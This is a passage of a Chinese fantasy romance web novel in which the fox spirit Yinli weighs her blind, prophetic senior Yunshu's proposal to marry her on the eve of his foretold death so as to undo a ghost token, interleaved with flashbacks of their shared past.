“师兄说,在推演出鬼君的身份之前,他还可以为我做一件事,消除我的后顾之忧。” 君竹忙问:“是什么?” 银梨回答:“师兄说,他会帮我解开鬼信物。” 磬言手上一停,顿时抬起头来。 * 月梨花树下。 银梨听云舒师兄说,世上已经诞生了新的鬼君,她思绪一转,串联起了一些东西。 “难不成……” 她不由抚上自己腰间,那枚龙凤呈祥的古玉,月东林邪鬼留下的信物。 银梨道:“师兄,你说龙君发丝所化的邪鬼是第一个鬼君,在它死后,有一个更为强大的东西取代它成为鬼君,那新的鬼君,该不会是……” 这是很容易联想到的。 荒林邪鬼的确是很凶残的鬼怪,它身上有许多可以被认定为是鬼君特有的特质。 比它更可怖强大的邪物,世间罕有,银梨只能想到一个。 荒林邪鬼被杀那晚,她最后的记忆非常模糊。 但她还记得,那双伴随着阴风而来、将她拥入怀中的手的触感,还有“他”在她耳边说话时幽幽的凉意。 ——月东林邪鬼。 银梨与月东林邪鬼本身的正面相处并不多,却不会遗忘掉当时的感觉。 除“他”之外,不会有别人。 现在想来,荒林邪鬼体内的发丝试图缠住她时,独独避开了她腰间的古玉,像是怀有某种恐惧。 所以,月东林邪鬼,会是新的鬼君……? 指腹触碰的地方,鬼信物冰凉至极。 银梨的心,不断再往下沉。 她张嘴,正要将自己的想法说出来,却见云舒师兄笑而不语。 他将手指竖在唇前,“嘘”了一声,然后从袖中取出一株用纸包好的灵草,示意银梨吃下去。 银梨虽有些疑惑,但还是放到嘴里,嚼了嚼。 很清口的草,夹杂着一丝苦味,不算难吃。 云舒见她咽下,便说:“此物名为锁念草,是姐姐以静心草为根基,不断培育而得。我知道它总有一天派上用场,便请姐姐送了我一些,为了防止消息走漏,我也并未向她说明缘由。 “你服下此草后,接下来的十天,你的心念都会变得十分平静,心中杂念会缩减到最少,它会让你处在非常专注的状态,甚至能自由控制无意识的思维想法。 “师妹,你意志坚定,心思纯粹,本来就有一些控制自己心念的能力,所以那么多人被困在月东林时,唯有你一人能破除鬼阵逃出来。 “如果我没有猜错的话,那个月东林邪鬼,恐怕有窥探人心、操纵人念的能力,所以它制造出的梦境,才会如此让人沉沦、那么难以逃脱。 “而这种草,可以锁闭你的心念,让外物更难侵探你的内心。如果你控制得好,甚至能掌控外人能阅读的范围,让对方只能读到你希望他们读到的部分。 “当然,如何让他们被局限在你所控制的心念范围内,又不发现异常,就要靠你了。” 银梨若有所悟,若这草药的效果如师兄所说,那真是颇为厉害的东西了,也只有金琼师姐这样的天才才能培育出来。 银梨问:“师兄,你究竟想让我做什么?” 他说:“师妹,我今日要对你说一些很重要的事,除了你之外,不会再有别人知道。” 银梨郑重地点头。 云舒继续说:“首先,要解决那个鬼君,你身上的鬼信物风险极大,必须要尽快摘掉。” 银梨表示理解。 云舒又道:“解开鬼信物的办法,你应该已经知晓,只是先前并未找到非常合适的人选。 “现在,我有一个极为妥帖的人,可以推荐给你,普天之下,不会有谁更合适。” 银梨问:“谁?” 云舒微笑。 “我。” 他说。 “……什么?” “我。” 云舒又重复了一次。 “师妹,这一次你应当与我成亲。在这世上,不会有人,比我更适合现在的你。” 第29章 听到师兄的话, 银梨的脑袋像卡了壳。 她怀疑自己幻听了。 “师、师兄……” 银梨结巴半晌,才从口中吐出字来。 “你……我……可是师兄你,对我应当并没有那种情愫吧……你我是师兄妹, 感情固然深厚, 但论起男女之情……” 在云舒师兄说要给她推荐 解鬼信物的人选时, 银梨脑海中转过许多人的身影,但唯独没有想过,师兄会说他自己。 银梨语无伦次时,云舒就像早已预料到她的反应, 面上是一贯的从容镇定。 他微笑着问:“你怎么知道我对你并无男女之情?” “可是……” 云舒这一句话, 将银梨问得更懵, 只觉得大脑一团浆糊。 她头脑中不断浮现出往事的种种记忆,可受到的冲击太大,反而越想越乱, 理不清思绪。 * 在水潭被云舒救了以后,银梨与这位师兄的关系, 其实还是不远不近。 不过, 出于好奇,银梨开始有意无意地注意他,从师兄可能在的地方经过时,她也会不禁多看几眼。 师兄的居所, 是一个被池水环绕的木屋。 这几乎是观真神女府邸的最偏僻之处, 师兄独住, 且拒绝了其他人照料和接近, 堪称离群索居。 他的生活极度简单,大部分时候足不出户,门扉紧闭, 外人全然见不到他的人影。 不过,不时会有访客上门,恭敬地请求见云舒神君。 师兄有时会见,并早早等候;有时不见,且未等对方上门便已躲开,悄无声息地消失无影。 那些有幸能与师兄会面的人,来时通常忧心忡忡,而走时,有人喜上眉梢,有人则更为愁云惨淡,表现不一。 唯有对云舒师兄,他们无一不是千恩万谢,充满敬畏。 在天水境,实则有不少关于云舒师兄的传闻。 有人说,他天生异眼,洞察天道,早已跳出三界之外,所以对俗世闲人都不感兴趣,世间无人能理解他。 有人说,云舒神君洞察万事,没有什么能瞒得住他,他足不出户便可知天下,自然不必再做无意义之事。 有人说,云舒神君天性薄凉,不喜喧嚣,因此主动避世,不欲参与世间纷争。 在众人的言谈中,他高高在上,远离世俗,是个生来就不受红尘约束的渺远之人。 这样一位师兄,银梨固然好奇,可也不敢轻易接近。 那时,银梨有自己的课题要克服。 从水潭里被救上来以后,又调整了一段时间,银梨觉得状态好一些了,开始安心投入到观真神女布置给她的修行当中。 银梨以前没怎么多想,到了天水境,她才发现她的情况其实还挺复杂的。 她是神女月婵用灵玉雕刻而成的九尾狐。 她并非人身神,但由于姐姐是人身,她接触的大多是人身神的理念习惯,见到的凡间生灵也大多是凡人。 她的认知大多来自于人,哪怕知道世上有许多草木兽禽的精灵,她也并无融入其中的概念,自己更没有很强烈的族群认识。 另一方面,尽管她的主要形象是会蹦会跳的九尾狐狸,但由于是灵玉雕刻而成,与那些生来浑然天成的血肉狐狸又有区别,不能将九尾狐的修炼方法照单全收,却也不能完全套用玉石精灵。 由于这种种情况,银梨的修炼屡屡碰壁,总摸不到与自己完全契合的门路。 这时,观真神女便耐心地指引她道:“银梨,你既不是人,也不必将自己当作纯粹的九尾狐或者一块灵玉。 “这世上本就没有两个生灵是完全相同的,你的每一个特质,都是你身上的一部分。 “你就是你,外在的这些,它们全都是你,但也全都无法代表全部的你。 “你不必强行将自己套入哪一种身份之中,每个人都有自己的道路,你要找到的,其实就是真正的自己。” 师尊让她不必拘泥于一种身份,最好是遗忘掉过去固有的思维和习惯,找到自己最舒适的状态。 在师尊的建议下,银梨索性连人身都不维持了,整日当一只小狐狸跑跑跳跳,有时也会变回最纯粹的玉石狐狸的样子,一动不动地躺在院子里晒太阳。 在天水境,这样的行为十分正常,倒不如说,纯粹的人类反而比较少见。 银梨在尽力感受自己的天性。 只是,从这以后,她隐约觉得自己好像经常会碰见云舒师兄。 有时候,是不经意回头,她刚修炼完,就见云舒师兄独自从不远处路过。 有时候,是在金琼师姐院中,她去找金琼师姐讨论功课,正说着自己的问题,就发现云舒师兄也来旁边坐下。 有时候,只是偶尔在廊下遇见,她拖着尾巴经过,与云舒师兄对上视线,对方便会对她微笑点头。 次数多了,银梨心里有了些感觉,发觉师兄是在她修炼遇到困难时出现得多,不太像偶然,似乎也并无恶意,只是不知何故。 师兄常像沉浸在自己的世界中,很难搭话,银梨对云舒师兄又存着些特殊的敬畏,不敢打扰,既然他未曾主动开口,银梨也没找到机会询问,便将这般不冷不热地维持着距离。 直到一日,银梨叼了自己的手札到后山,找了个有阳光的地方,照着手札上记录的师尊教她的吐纳灵气的技巧,独自练习。 经过这段日子的练习,她疏导灵气的感觉已经比最开始好了许多,只是还有什么关键没找到,似乎总差一点。 那天的阳光太过和煦,暖风熏人,银梨练习了一会儿,便有些困了。 师尊说,她现在不必太努力,反而顺其自然更容易找到诀窍。 于是银梨并未强求自己,顺着感觉打了几个哈欠,见难以清醒,索性将自己盘成一团,在草垛上睡了。 迷迷蒙蒙的睡梦中,银梨觉得有人经过,手放在她眉心,没有碰到她,却和缓而礼貌地疏开了她身上的灵气。 好友善的气息,即使是做好事,也保持着恰当的分寸和距离感。 银梨耳朵一抖,一动不动地配合,总觉得对方比自己更容易受到惊吓,或许一睁眼,来人就要跑掉了。 好在她本就昏沉,不知不觉,便睡得更深了。 …… 等醒来时,已是黄昏。 银梨一睁眼,便发现身体十分轻盈,她睡前只疏导了一半的灵气,竟被整理得十分平顺通透,简直焕然一新。 这种感觉自从她修炼瓶颈以后,已经许久不曾有过。 银梨惊奇不已。 这时,一阵微风吹过,拂开了她面前手札的书页,她才发现里面还夹了一张字条。 端正隽逸的字迹,针对她的手札写了数条改进的方法,直切要害。 银梨疑惑地拿着字条回屋,正翻来覆去思考时,她身后倏地冒出一只手,将字条抽走了。 银梨转头一看,才发现是金琼师姐。 “师姐!” 银梨高兴地打招呼,尾巴狂甩。 她解释道:“师姐,我下午在后山修炼时睡着,醒来这张字条就夹在我的手札里了。你可知是何人所为吗?” 羽螭蛇擅长卜算,银梨的本意是让师姐替她猜猜,谁知金琼一看字条,马上就道:“这不是云舒的字迹吗?” “……师兄?” 银梨意外。 仔细想想,云舒师兄的住处的确离后山不远。 而且,她最近总碰到云舒师兄,对方疑似是在观察她,或许正因如此,才能将她的欠缺之处一一点出,并给出如此透彻的建议。 只是…… 银梨不解:“我很常见到师兄,既然师兄他有意指点我,为何不在我清醒的时候,当面跟我说,而是留个纸条呢?” “唔……” 金琼摸着下巴,看着纸条若有所思。 忽然她眼神滴溜溜地一转,故弄玄虚地道:“你想知道?” 银梨点头。 金琼却笑嘻嘻地道:“那你自己去问问他吧!要不然,你可以自己猜猜。” 金琼对她眨眨眼:“你要是猜中了,我也奖励你,帮你好好疏导一下灵气,还送你一把好看的剑。” 银梨看师姐嬉皮笑脸的表情,觉得她应该不会告诉自己了,只是金琼师姐一双眼睛忽闪忽闪的,好像心里有什么主意,倒让银梨忐忑得很。 不是为了奖励,也真想弄个清楚。 于是,隔了一日,银梨来到一直从未真正步入过的水上木屋,头一次鼓起勇气来敲云舒师兄的门,想直接问问。 结果,门内没有响应。 银梨以为自己和那些上门求教的人一般被避而不见,便没有强求,离开了。 过了三天,她想了想,觉得还是应当向 云舒师兄当面道谢,又来了一次,却还是没有回应。 又过三天,她再次到来,还未想好要不要敲门,便发现院中的花草有些打蔫了。 云舒师兄的院中也有不少花草。 不如金琼师姐那里种得多,也不如金琼师姐种得好,但应当是云舒师兄亲手所植。 云舒师兄毕竟也是羽螭蛇,他在栽培上的才能不如姐姐金琼,世人更只谈论他的神眼,但归根结底,他还是有亲近草木自然的本能。 旁人或许不知,银梨却有观察到,云舒师兄十分心爱院中的植物,即使哪里都不去,他也会常来院中查看。 云舒院中的花草精神不振,十分异常,而且最近几日,她都不曾听闻有人遇见云舒师兄,她自己也没有看见。 银梨隐隐感到古怪,权衡之下,她试着推了推门,竟发现门并未锁闭,一推就开。 银梨索性直接开门,看向屋中—— 只见,云舒正面朝下,倒在地上,一动不动。 “师兄!” 银梨急忙冲过去,一触他的身体,便发现他面色苍白,体温冰凉,却满身虚汗,衣物都被汗水浸透了。 听到银梨的声音,他虚虚抬起眼皮,清冷的面庞比平日更为脆弱。 他似乎还有意识,被银梨扶起,他眯着眼盯了银梨很久,才迟疑地道:“……师妹?” “师兄,你认不出我吗?” 银梨微讶。 她知道这位师兄似乎因为神眼之故,视力欠佳,但从前几次接触的情况来看,应该并没有这么不好。 此刻二人面庞之间顶多隔着七八寸距离,师兄竟没马上认出她。 云舒迟疑了一下,才点了点头。 他解释:“我在蜕皮。” “蜕皮?” “是。” 云舒指了指自己的眼睛,说:“我的双眼,需要经历六次蜕皮,才能真正成为神眼。 “每蜕一次皮,我的视力就会减弱一分,但我真正能感知到的东西,也会更多一分。 “我刚刚经历的,是第五次蜕皮,还有一次,我就会拥有真正的神眼了。” 银梨这才看到,在师兄的不远处,是有一张浅金色的蛇皮,不知已经褪下来多久,看着有些干瘪。 师兄本人的皮肤,仿佛也比平时要薄,白得不见血色,像新生出来似的。 银梨张了张嘴。 她好像是听金琼师姐说过有这么回事,但未曾想到会亲眼看见。 从方才的情况来看,蜕皮的过程必定痛苦凶险,最好是有人照料陪伴的。 但云舒师兄没有对任何人说,他本就深居简出,足不出户十分正常,大门一关,更难有人发现了。 若银梨不来,他不知道还要自己在地上倒多久。 银梨问:“师兄肯定早就知道自己要蜕皮了吧,既是这般重要的事,何不告诉其他人,好让其他人来照顾你呢?提前打过招呼,或许就不至于一个人倒在地上起不来了。” 云舒闻言笑了笑,道:“你不是来了吗?” “啊?” “我的神眼还未完全长成,但我已经能看到大部分未来了。” 云舒淡淡地说。 “我早就知道自己会倒下,也知道你会过来。既然早知没事,我又何必多此一举,专门找人说呢?” 他说得从容不迫,但银梨听完,默了半晌。 总觉得他的话虽符合他的逻辑,可又有哪里不对。 银梨说:“可是,上回我落水,师兄不是专门在池边等待,尽快将我捞上来了吗?换作师兄,也是同理,若有人知道,我们便可早些将师兄扶起来,师兄不是可以少受些苦吗?” 云舒道:“有些不同。” “哪里不同?” “前者我一人即可,不必有什么解释。后者却并非如此。” “……?说一声就行了,不算需要解释吧?” 云舒偏头:“?” 银梨:“……?” 两人四目相对片刻。 银梨尽力琢磨着云舒这做事风格背后的本质区别。 思来想去,银梨忍不住道:“师兄,你该不会,其实挺不擅长人际交往的吧。”—— 作者有话说:云舒:_(:з」∠)_ 第30章 银梨其实之前就有这种感觉了。 与活蹦乱跳的金琼师姐相比, 云舒师兄实在话少。 他幽居在最僻静的地方,极不喜欢在人群中露面,连随行弟子都不要。 师兄应当还挺关心她这个师妹的修炼情况的, 要不然也不会天天在旁边路过, 还设法精准地给她吐纳灵气的建议, 但明明是能当面讲的话,他却非要等她睡着了偷偷留个字条,实在内向得过分。 答案太过简单,反而显得很离谱。 世人对神眼的尊崇, 给他冠了太多冠冕堂皇的借口, 将他供在了渺远的云端上, 反而错过了本质。 如此一想,原本令人难以捉摸的师兄,忽然也降落了下来, 变得像个常人,甚至还有些笨拙。 不过, 银梨说出答案后, 云舒也没解释,仍旧笑盈盈地望着她,倒又让银梨摇摆不定。 银梨将他扶到床上,替他拭去额上的汗, 等师兄看上去好一些了, 她决定与他约法三章:“师兄, 以后你若遇到需要有人陪伴的事, 又找不到合适的人选,就跟我说吧。我不会让你解释很多,也不会让你为难的。 “你要真不想跟人说话, 就拍拍我肩膀,我明白了,自然会跟在你后面。” 云舒安静地注视了她一会儿,点了点头,应道:“好。” 银梨又道:“你若是不舒服,也可以找我,不要一个人硬撑。” 云舒:“好。” “如果有什么地方视力不方便,你需要有人一起走,也可以喊我。” “好。” “……师兄,你不会早就知道,我会这样说了吧?” 云舒原本神态十分平静,没有太多情绪波动,但听到这一句,却忽然莞尔。 他嘴角微弯,那双淡色的眸子像映照着人心,道:“你猜呢?” “……” 神眼实在是个高深之物,拥有了这样一件东西,随意一句话,便能让人揣测再三。 银梨本以为师兄是个正经人,直到此刻才发现,他其实与师姐一样,不经意之间,眼底就会带上三分狡黠。 * 从那以后,银梨与云舒师兄亲近了一些。 其实她还是不太懂云舒师兄,不过,经过这件事后,心里便没有那么怕他。 经过一次蜕皮后,师兄的视力变得更差了。 最初的适应是最艰难的,即使是过去熟悉的环境中,视觉一恶化,便又有许多不便之处。 银梨知道师兄不习惯开口,便主动一些去帮他。 路过台阶,她会先靠近师兄,撑他的手臂,提醒他小心。 师兄要取什么东西,她便先一步取来,递到他手中。 后来,师兄若要写字,银梨也会替他执笔。 与此同时,师兄也会时常指点她的修炼吐纳。 许是因为师兄拥有天眼,许是因为师兄本就耐心细致、善于指点,慢慢地,银梨越来越能掌握精髓,修为日进千里。 她与师兄的默契形成不在一夜之间,而是漫长的细水长流。 慢慢地,她能读懂师兄神态间微妙的情绪,分得清他真情实感的预言和随口为之的玩笑。 在长久的相处之中,银梨越来越发现师兄笨拙的一面。 仙神不需要进食,但师兄其实很喜欢水果,特别是野果,有时候他独自跑去后山,就是为了摘果子。 师兄的预言能力固然强大,但目前还未到全知全能的境地,他偶尔也会猝不及防吃到酸的果子,然后把眉头蹙起来。 师兄喜欢泡在水中,天气暖和的时候,他会化成灵蛇的样子,懒懒地 泡在木屋外的池子里,远看像水里浮了一条金腰带,有些搞笑。 他还非常怕冷,一到冬天,他就会完全居家不出,银梨每次去见他,不是躲在床上,就是窝在火炉边,与平日里清风明月的气质相去甚远。 银梨将自己的观察说与师兄听。 师兄听完,他好像自己都没有意识到,但也没有否认,反而点了点头:“也许确实如此。” 不过,他也说:“师妹,我的能力目前还没有达到巅峰状态,预知尚未完全稳定,当有些事我不能完全知道的时候,我与常人实则是一样的。 “等到我的神眼完全打开,我便能真正窥见古今未来,等到那时,我或许会变成另外一种性格,便再不会有什么弱点了。” 银梨问:“到那时,师兄便不再需要我了吗?” 师兄笑得温柔和煦,像雾中的清月。 他说:“师妹,我现在固然有看不到的事,但也有许多事,是只有现在才能感受、现在才能了解到的。” 他摸了摸银梨的头。 “我很早就知道你会到来,也知道你会怎么做。这世上的事,若是事事都在意料之中,难免无聊,慢慢也会变得冷漠麻木。” “我本以为若是早已知晓,便难以再被打动。” “不过,实际经历我才知道,预言与切身体会终究不同,有许多情绪,是唯有亲见、亲历、亲身感受过,才会真正明了。” 他那淡色的眸子望过来,笑:“银梨,我很高兴是你陪在我身边。 “这样的情绪,若是换一个时期,即使有人做一模一样的事,或许也不会再有了。” 银梨的耳朵动了动,不太明白师兄是什么意思。 她问:“师兄,你所看到的预言,究竟是什么样的东西呢?为什么有人来找你,你有时会见,有时又不见?不同的人,有什么区别吗?” 师兄笑道:“我也不知道有什么区别。” “啊?” “师妹。” 云舒望向远处。 “预言,在我看来,就像一本已经写完的书。我能看到结局,能了解其中因果,却无法改变人物的行动,只能任他们流向既定的方向。” 银梨对这个答案感到惊奇。 她说:“可若是不能改变,知道与不知道,又有什么区别?反正最终都是一样的结果,师兄你又何必用视力换取神眼?” 云舒道:“神眼是生就的,并非选择。况且,每个人的想法不同。 “有些人想知道预言,是为了一个渴望的结果,所以他们会想要改变。 “至于我,不过是想读一本书,其他的,不会强求。 “因此,我会配合书中的行动,顺势而为,不作挣扎,直到结局。” 银梨有些明白了。 云舒是看书人,可也将自己当作书中人。 他主动演绎着自己看到的未来,不尝试强扭。 这样的人拥有神眼,实在有些奇妙。 不过,或许也正是因为师兄是这般性格,天道才会赋予他此眼,让他尽情饱览世事。 这时,师兄问:“师妹,你有什么想知道的吗?” “什么?” “你知道许多人会问我未来,自己却从未问过我什么。” 云舒道。 “我能看见的越来越少,能知道的却越来越多了。” “我有预感,最后一次蜕皮已经近在眼前。等蜕过最后一次皮以后,我的神眼便会长成,到时,一切都与现在不同了。” 云舒停顿了一下,说:“我也不知道等神眼完成,我会变成什么样。你若有想问我的事,或许只有现在的我,才能回答你。” 银梨不解。 若是师兄蜕皮以后,神眼的能力会更强,那为何不是等将来再问呢? 但她还是老实地摇了摇头,回答:“我没有什么想知道的。姐姐从不过多过问未来,也不渴望全知之能。 “她说,路一步一步走出来的过程才是最有趣的。既然如此,我也想和姐姐一样,慢慢来寻找自己的道路。” “这样啊。” 云舒看上去有些遗憾,但仿佛也在意料之中。 银梨动了动耳朵,问:“说起来,师兄呢?师兄自己,从来没有遇到过需要探究的事吗?” “我?” 云舒微怔,像是从来没有人问过他这样的问题一般。 想了想,他笑道:“我以前从没有过这样的念头,但如今……确实有一个问题想要知道。” 银梨的耳朵歪向一旁:“是什么?” 云舒含笑:“可惜,就在刚才,我便已经知道答案了。” “?” 正当银梨摸不着头脑之际,云舒道:“我的神眼,其实并不是万能的。我看得到事态发展,却看不清人内心的情感。 “像这样哪怕知道未来,也会有想要知道的答案,于我而言,也是第一次。 “只可惜结局已定。若是结果与现在不同,或许,我也会改变主意,不再褪最后一层蛇皮。” 他将头转向银梨。 “师妹,我过去从未觉得失去视力可惜,只因不认为这世上有什么必须留恋。” “但事到如今,想到真有些风景,今后再也看不见了,却忽然有些遗憾。” “师妹,我不会要求你永远陪在我身边。” “但面前的最后一段路,你会和以前一样,陪我走完吗?” 云舒说这话时,始终注视着她的面颊。 银梨能看到自己倒映在那双比琥珀更浅的瞳眸中。 银梨不清楚师兄的视力还剩下多少,但他这般凝视着她,便像想要将她最后仔细看一遍似的。 银梨点了点,应道:“当然,师兄,我会一直陪着你的。” …… 蝉鸣嘈杂的一个夏夜,云舒闭关了。 这一次,银梨全程守在屋外,准备稍有不对,就进去保护师兄。 不过,这次一切都很顺利。 十五天后,师兄在洞府之中,褪掉了凡尘最后一层束缚。 当门再被打开时,从屋中出来的,几乎是另一个人。 同样的面容,同样的装束,气质依旧是那条云间皎月般华美雅致的金蛇。 然而,没有了最后的单纯和迷茫,他洗尽满身铅华,褪去俗尘,化作天上仙云。 云舒的视力已然完全消失了,琉璃般的金眸依旧会映照万物,但那已没有任何意义。 当银梨倒映在云舒沉静的眼底时,她意识到,师兄永远不会再用过去那般富有感情的眼神看她。 她对这个人的一切了解,都成了无法逆转的过往。 留在云舒师兄眼底的,只剩下最纯粹的天道。 这时,师兄向她低下头来。 银梨愣了一下,才明白过来,赶忙取出事先准备好的白绫,凑上去,亲自将它覆在师兄的眼上。 云舒一动不动,配合着她的动作。 等白绫系完,云舒道了句“谢谢”,便要离去。 “……师兄?” 银梨忍不住唤了一声。 云舒定住脚步,回过头来:“我在。” 他好像在,又好像不在。 银梨望着这个面覆白绫的男子,一时失言。 * 时间回到后来。 大梨树下。 时隔多年,银梨又一次与云舒师兄独处。 银梨曾与这位师兄十分亲近,可站在她眼前的这个人,她并不感到熟悉。 师兄说要为她解鬼信物,银梨不可置信。 云舒像早就知道她的反应,不急不躁,只缓缓地 陈述自己的观点—— 他道:“师妹,我已经算到了自己的死期,就在三天后的深夜。 “只要在我的死期当日成亲,你我便不必履行什么夫妻义务,而我是真心爱慕你,在我心中,你便是货真价实的妻子,只要你内心也有一瞬间将我想象成丈夫,鬼信物自然能够解开。 “这段婚姻,既是真的,又不必作真。 “师妹的顾虑,由此皆可抵消。 “所以,我说,在这世上,不会有比我更合适的人选。”《 》 30-40 第31章 “……事情就是这样。” 在书房, 银梨将云舒师兄告诉她的预言内容,还有云舒向她提亲的事,全都告诉了君竹和磬言。 君竹听完, 果然也大吃一惊:“那位云舒神君吗?他竟主动说要与公主成亲?” 银梨点头。 君竹还是难以置信:“那位云舒神君, 看上去实在不像愿意为世俗所累之人, 他竟提出愿为公主解开鬼信物,太不可思议了。” 君竹在书房里逡巡一会儿,短暂的惊诧之后,终于冷静下来。 君竹改口道:“其实, 仔细想想, 云舒神君所言, 未必不是当下最好的决定。 “云舒神君与公主本就有师兄妹情谊,算是门当户对,知根知底。 “云舒神君的神眼之能, 在仙神之中都算特异,名望更是不低。 “在当今世上, 若论谁能与公主相配的话, 在我心中,云舒神君肯定是能排上前五位的。 “而且……那位云舒神君说自己马上就会死去,想必也是深思熟虑后,为了公主才做出的选择, 的确能让公主免去一桩烦恼。 “再说, 既然是由云舒神君主动提出, 那这桩事其实已经算是定了吧?” 云舒的神眼之能, 在世间名声极大,君竹一听,几乎不再有怀疑。 然而, 磬言听了,却眉间紧锁。 他之前对云舒口中的其他预言都反应平平,唯有听到解鬼信物的事,表情才有变化,面色铁青。 他问:“……公主已经答应他了吗?” “还没有。” 银梨实话实说。 “师兄也知道自己所言事发突然,允许我考虑一下,再做决定。” 磬言又问:“且不论其他,公主自身……是怎么想的?公主喜欢他吗?” “……” 银梨沉默了一会儿。 她垂眸,眼底有着认清现实的严肃,道:“别的我说不清,但师兄有一件事讲得没错。如果一定要解开鬼信物,在现阶段,他是我最好的人选。” 这是银梨想了一夜得到的结论。 可以解开鬼信物而不用付出任何代价,她几乎已经有了偏向。 师兄以自己会丧失性命为前提说出的提案,必不是轻易言之。 磬言却说:“未必如此吧。云舒神君说的话,就一定会成真吗? “天地如此广大,凡事总有例外,就算是神眼的预言占卜,谁能笃定就肯定不会有出错的时候呢? “这毕竟事关公主的终身大事,如何谨慎都不为过,我认为,即使要逆天改命,也该遵循自己内心真正的感觉。” “磬言,你没有与云舒师兄一同生活过,所以不明白。” 银梨叹了口气。 “但凡是云舒师兄的预言,从未错过。” “……从来没有?” “从来没有。” 磬言安静下来,像在思考。 须臾,他拿起银梨拆开的锦囊中的字条。 “……这上面的人,云舒神君说,全都必死无疑?” “对。” 磬言默默凝视着字条上的名字,不知在想什么。 银梨则盯着他的面庞,有所探究。 * 事实上,还有一些事,银梨并未告诉磬言和君竹。 听完云舒师兄的求婚后,银梨眨了眨眼,又眨了眨眼。 尽管师兄已经将话讲得很清楚,她仍半晌不知作何反应。 在她心中,眼前的师兄或许比姐姐月婵更像云上之人,看不透,摸不着。 若是过去那个吃到酸果子会皱眉头的人也罢,但现在的他…… 银梨从来不敢想象与师兄成亲。 不要说她,她根本想不到这个师兄会喜欢任何人。 云舒望着她手足无措的样子,嘴角上扬,笑得颇为纵容。 “不必这么紧张。” 他缓步过来,明明看不见,却准确地将手放在了银梨头顶,摸了摸她。 “银梨,你认识我这么久,即使有些怕我,应该也比世上的其他人更了解我。你只需遵循自己的内心。” 师兄说:“师妹,你还记不记得,我对你说过,未来在我看来,就像一本已经写完的书?” 银梨点了点头。 师兄又说:“一本书中的主角,一开始追求的可能是一个蜜桔,但其实你早已知道,她最后得到的会是一个香瓜。 “最后的香瓜实则比蜜桔更好,不过,如果你在故事的中间,就告诉她她会拿到香瓜,改变因果,那她最后可能香瓜和蜜桔都得不到。 “所以,为了让她得到最后的香瓜,我会告诉她,你一定会得到蜜桔。” 银梨:“?” 师兄说:“我从不会强求改变书中的结局,但有时,为了配合书中的情节,我也未必说的每一句,都是真话。” 这一刻的师兄,显得比任何时候都耐心。 他徐徐道:“来,师妹,你跟我重复一遍:不是我对你说的每一句,都是真话。” 银梨老老实实地跟着他说:“不是云舒师兄对我说的每一句,都是真话。” 云舒满意地笑了。 云舒将两个锦囊,还有一整袋锁念草,都交到银梨手上。 他说:“师妹,只要你相信我,我便向你保证,你想要的未来,一定会到来。” 他伏在银梨耳边,细细嘱咐了剩下的事。 * “——只要你相信我,我便向你保证,你想要的未来,一定会到来。” 师兄的这句话,始终留在银梨耳中。 她面上不动声色,却握紧了袖中的锁念草。 静候时机。 * 夤夜时分。 小灵山药庐,华鹊在纸上写下今日最后一剂单方,将晚上要注意的病患情况都交代给守夜的弟子,便准备回屋睡觉。 刚出药庐,后颈便是一凉。 只见手中的灯笼蜡烛剧烈摇晃,不过一息,火焰便熄灭了。 华鹊一惊,提起精神茫然四顾,却什么都没看到。 她抬手,正要重新点起灯笼,倏然,气温骤降,有什么从背后掠了过去。 华鹊急忙回头,只见暗夜之中,阴影攒动,有什么一闪而过,看不分明,瞬息而已,便无踪迹。 * 这一夜,银梨彻夜未眠。 她站在睡惯的月梨花树洞外,赏了一夜飞花。 直至清晨,便见君竹火急火燎地赶了过来。 “公主!” 她见银梨衣装齐整等在洞外,不免错愕,但并未多想,赶忙报告道:“药庐那边的人来说,公主救回来的那个小女孩和穿山甲,一起苏醒了!” 君竹脸上的惊愕显而易见。 毕竟昨天她才看了银梨拿出的第一个锦囊,知道这两个人都上了云舒神君预告的死亡名单。 云舒神君的预言从不会错,君竹在得知那两个没见过的名字是药庐里长睡不醒的幸存者时,就断定他们不可能活下来了。 谁知才过了一夜,这两个人非但没恶化,反而突然齐齐苏醒! 君竹惊喜之余,更多却是困惑,这才急急赶来向银梨汇报。 然而,银梨淡定非常,像早有预料。 她站了起来:“走吧,去看看。” 两人赶到药庐,只见华鹊、磬言都在。 床榻上,两个病患都已经醒了。 小女孩已经能坐起来,正小口小口地喝药。 穿山甲好似有什么话想说,她明显是修炼过的,但她目前的身体状况大抵还不足以化成人身。她只能身体横摊着,一双乌亮的黑眼睛闪烁着,鳞片有气无力地耷着,随着呼吸微弱起伏。 “公主……我……” 穿山甲动了动小爪子,试图将头扭过来,只是声音实在虚弱沙哑。 华鹊毫不留情地将她的尖嘴捏住 ,一套动作干脆麻利:“你好好躺着,灵气这么弱,别说话也别乱动,除非想再昏迷两个月。” 银梨也说:“你不要着急,将身体养好再说。” 那穿山甲闻言,便老实不动了。 华鹊这才向银梨说明:“这两个患者,是昨天晚上忽然康复的。约莫是寅时三刻,我才歇下没多久,忽然药童就过来报,说这两个伤患醒了,我还吓了一跳。 “我马上跑过来看,发现居然是真清醒了。我马上把了脉,她们脉象也很平稳。” 华鹊满脸稀奇之状。 “我行医百年,像这般毫无痊愈迹象却突然康复的病人,还是头一次见。要不是她们还太虚弱,经不起折腾,我真想把她们上上下下都验上一验。” 华鹊眼底的探究欲过于灼热,银梨不得不拍了拍她的肩膀,好让她回神。 银梨问:“……这两个伤者,当真无碍了吗?” 华鹊:“无碍。” “意思是,从今往后,她们不会再因此事,有性命之忧了吗?” “性命之忧?只要她们今后不要再被什么奇怪的邪鬼吞到肚子里,再好好修炼,能活到天荒地老。” 华鹊表情冷漠,但说出的话很让人安心。 见银梨面上还有询问之意,她便解释道:“她们两个之前昏迷不醒,是因为被鬼气侵体过深,连神魂都被压制,没法清醒。 “之前我用灵气来保她们的性命,但只是吊命而已,长此以往,她们的身体经不起消耗,迟早会被拖死的。 “不过昨晚,长久抑制她们、无法驱散的鬼气,突然全都消失了。 “没了桎梏,这两人自然便清醒过来。” 银梨说:“这此前那么顽固的鬼气,怎么会说消失,就消失呢?” 华鹊简单干脆地说出她的看法:“鬼气消散,我只知道两种方法。 “一种,便是太阴星的力量强过鬼气,让鬼气自然消散。但这两名伤患住在小灵山这么久,一直没有痊愈迹象,这里已经是离太阴星最近的地方了,这次我觉得并非此故。 “还有一种办法,就是鬼气互食。在外界,一些强大的鬼怪,可以吞噬比它们本身弱小的邪鬼,将它们的鬼气归为己用。但这里是在灵地范围之内,不可能有能吞噬鬼气的邪鬼,应当也不是。 “别的可能,恕我才疏学浅,实在不知道。” 银梨与华鹊讨论了一会儿,并未探讨出什么特别合理的成果。 陷入僵局,两人都有些沉默。 这时,银梨听到身后君竹正小声与磬言交谈。 